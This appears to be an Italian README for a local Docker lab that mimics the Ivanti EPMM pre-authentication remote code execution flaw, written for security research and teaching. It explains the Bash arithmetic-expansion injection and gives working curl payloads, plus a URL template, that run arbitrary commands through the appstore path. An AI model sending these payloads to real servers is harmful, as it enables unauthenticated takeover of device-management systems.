Target fittizio per RCE pre-autenticazione Ivanti EPMM

Una semplice applicazione demo che mostra come riprodurre la vulnerabilità RCE pre-autenticazione Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) a scopo educativo e di ricerca sulla sicurezza.

Panoramica della vulnerabilità

Questa vulnerabilità sfrutta il comportamento dell'espansione aritmetica di Bash. Quando una variabile contenente un riferimento a un'altra variabile viene utilizzata in un contesto aritmetico, e la variabile referenziata contiene un indice di array con sostituzione di comando, il comando viene eseguito.

La catena di sfruttamento

1. La richiesta contiene st=theValue (stringa letterale "theValue" con padding)
2. La richiesta contiene h=gPath[\comando`]` (comando nell'indice dell'array)
3. Lo script Bash analizza le coppie chiave=valore in un ciclo, aggiornando theValue a ogni iterazione
4. gStartTime viene impostato sulla stringa letterale "theValue"
5. Dopo il ciclo, theValue contiene gPath[\comando`]`
6. Quando viene valutato [[ ${currentTime} -gt ${gStartTime} ]]:
   • ${gStartTime} → "theValue" (stringa)
   • Il contesto aritmetico tratta theValue come riferimento a variabile
   • theValue → gPath[\comando`]`
   • L'indice dell'array attiva la sostituzione di comando → RCE!

Avvio rapido

# Compila e avvia il container
docker-compose up --build -d

# Verifica che sia in esecuzione
curl http://localhost:8180/health

Test della vulnerabilità

1. Test di creazione file

Crea un file per dimostrare l'esecuzione del comando:

# Payload codificato in URL: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"

# Verifica se il file è stato creato
cat artifacts/poc

2. Test basato sul tempo

Verifica con un comando sleep:

# La risposta dovrebbe richiedere ~5 secondi
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"

3. Esecuzione di comandi personalizzati

# Scrivi contenuto personalizzato
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"

cat artifacts/pwned

Struttura dell'URL

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMANDO%60%5D/uuid.ipa
                               │      │              │              │
                               │      │              │              └─ Payload: gPath[`COMANDO`]
                               │      │              └─ Timestamp finale (10 cifre qualsiasi)
                               │      └─ CRITICO: "theValue" letterale + 2 spazi (10 caratteri totali)
                               └─ Indice chiave (qualsiasi valore)

Debug

# Visualizza i log del container
docker-compose logs -f

# Ottieni una shell nel container
docker exec -it ivanti-epmm-vuln /bin/bash

# Controlla i log degli errori di nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log

Pulizia

docker-compose down
rm -rf artifacts/*

Riferimenti

• Articolo del blog WatchTowr Labs

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopo educativo. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.